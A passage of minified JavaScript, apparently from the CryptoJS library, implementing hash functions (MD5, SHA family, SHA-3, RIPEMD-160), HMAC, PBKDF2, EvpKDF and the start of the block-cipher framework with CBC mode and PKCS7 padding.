2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & 